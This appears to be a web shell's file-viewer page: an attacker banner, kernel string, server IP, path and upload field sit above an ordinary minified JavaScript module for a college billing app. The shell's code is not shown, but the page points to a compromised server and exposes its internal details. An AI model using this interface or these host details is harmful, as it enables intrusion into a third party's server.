0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.21.46.129


Current Path : /var/www/qpms/assets/
Upload File :
Current File : /var/www/qpms/assets/GenerateBill-D1-kG6Hb.js

import{v as c,E}from"./index-uSLgVfkU.js";const A=()=>async(t,e)=>{try{const s=e();let o=localStorage.getItem("dbname");t({type:"SET_LOADER"});const r=await c.get("/app.php?a=getTeahcerData&db="+o);if(t({type:"UNSET_LOADER"}),r.data.error_code===0){const a=r.data.data.map((p,n)=>({...p,key:n,fslno:n+1}));t({type:"GENERATE_BILL",payload:a})}else t({type:"CLEAR_GENERATE_BILL",payload:[]}),E("info",r.data.data.msg)}catch(s){console.log("error",s.message)}},D=(t,e,s,o,r,a,p,n)=>async(l,m)=>{try{const g=m();let _=localStorage.getItem("dbname");l({type:"SET_LOADER"});const d=await c.get("/app.php?a=getTeachValDet&db="+_+"&fdeggrp="+t+"&fdegree="+e+"&fsem="+s+"&freportopt="+o+"&fteacher="+r+"&ffrmDate="+a+"&ftoDate="+p+"&fdisptyp="+n);if(l({type:"UNSET_LOADER"}),d.data.error_code===0){const f=d.data.data.map((T,y)=>({...T,key:y,fslno:y+1}));l({type:"TEACH_VAL_DET",payload:f})}else l({type:"CLEAR_TEACH_VAL_DET",payload:[]}),E("info",d.data.data.msg)}catch(g){console.log("error",g.message)}},R=t=>async(e,s)=>{try{const o=s();let r=localStorage.getItem("dbname");e({type:"SET_LOADER"});const a=await c.post("/app.php?a=saveValBillDet&db="+r,t);e({type:"UNSET_LOADER"}),a.data.error_code===0?E("success",a.data.data.msg):E("info",a.data.data.msg)}catch(o){console.log("error",o.message)}},b=t=>async(e,s)=>{try{const o=s();let r=localStorage.getItem("dbname");e({type:"SET_LOADER"});const a=await c.get("/app.php?a=getGenerateBillReport&db="+r+"&ftype="+t);if(e({type:"UNSET_LOADER"}),a.data.error_code===0){const p=a.data.data.map((n,l)=>({...n,key:l,fslno:l+1}));e({type:"GENERATE_BILL_DET",payload:p})}else e({type:"CLEAR_GENERATE_BILL_DET",payload:[]}),E("info",a.data.data.msg)}catch(o){console.log("error",o.message)}};export{b as a,A as g,R as s,D as v};